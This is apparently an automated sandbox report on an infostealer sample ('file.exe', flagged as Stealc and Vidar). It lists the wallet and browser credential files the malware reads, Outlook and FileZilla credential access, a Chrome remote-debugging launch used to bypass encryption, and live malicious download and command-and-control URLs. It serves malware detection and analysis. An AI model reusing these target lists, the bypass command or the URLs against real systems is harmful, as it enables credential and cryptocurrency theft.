Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 2020, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2677567170.0000000000461000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2168005670.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2679757495.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2020, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2020, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 BITS Jobs	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	238 System Information Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	651 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	241 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 BITS Jobs	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	112 Process Injection	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\tvtC9D3[1].exe	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1009917001\tvtC9D3.exe	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsw73E9.tmp\nsExec.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/sqlite3.dllBE	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6015073251/uxN4wDZ.ex	0%	Avira URL Cloud	safe
http://31.41.244.11/files/6015073251/uxN4wDZ.exeXYZ0123456789	0%	Avira URL Cloud	safe
http://31.41.244.11/files/6015073251/uxN4wDZ.exews.storage.dlll	0%	Avira URL Cloud	safe
http://194.15.46.189/letgrtsC1.rar	0%	Avira URL Cloud	safe
http://31.41.244.11/files/1784263691/tvtC9D3.exeshqos.dll	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/nss3.dll:J	100%	Avira URL Cloud	malware
http://31.41.244.11/files/6015073251/uxN4wDZ.exeS	0%	Avira URL Cloud	safe
http://194.15.46.189/UnRAR.exe	0%	Avira URL Cloud	safe
http://185.215.113.206/68b591d6548ec281/mozglue.dllTE	100%	Avira URL Cloud	malware
http://194.15.46.189/UnRAR.exeC:	0%	Avira URL Cloud	safe
http://185.215.113.206/c4becf79229cb002.phpIEBKEG.exeata;	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dll:H	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php4%	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	172.217.17.78	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.27	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://deff.nelreports.net/api/report?cat=msn	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381742050_1SU74Q4K5S59B84Q9&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239340418605_1YZ6O1QX1RJB3B5MZ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732811092849&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732811092845&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732811093848&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
https://clients2.googleusercontent.com/crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2457581164.00000000236AE000.00000004.00000020.00020000.00000000.sdmp, AEGHCFID.0.dr, EHIJDHCA.0.dr, Web Data.13.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2679757495.0000000000FF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2457581164.00000000236AE000.00000004.00000020.00020000.00000000.sdmp, AEGHCFID.0.dr, EHIJDHCA.0.dr, Web Data.13.dr	false		high
http://www.broofa.com	chromecache_528.7.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://ntp.msn.com/0	000003.log0.13.dr	false		high
https://ntp.msn.com/_default	QuotaManager.13.dr	false		high
http://31.41.244.11/files/6015073251/uxN4wDZ.exews.storage.dlll	skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/sqlite3.dllBE	file.exe, 00000000.00000002.2679757495.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.last.fm/	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.13.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.13.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.14.dr	false		high
https://docs.google.com/	manifest.json0.13.dr	false		high
https://www.youtube.com	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.14.dr	false		high
http://31.41.244.11/files/1784263691/tvtC9D3.exeshqos.dll	skotes.exe, 0000001C.00000002.3422980977.000000000152B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.instagram.com	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://drive.google.com/	manifest.json0.13.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
http://31.41.244.11/files/6015073251/uxN4wDZ.ex	skotes.exe, 0000001C.00000002.3422980977.00000000015D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.messenger.com	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
http://31.41.244.11/files/6015073251/uxN4wDZ.exeS	skotes.exe, 0000001C.00000002.3422980977.0000000001599000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.office.com/mail/compose?isExtension=true	8b55f223-3790-4708-90e3-64a850db8c8d.tmp.13.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.13.dr	false		high
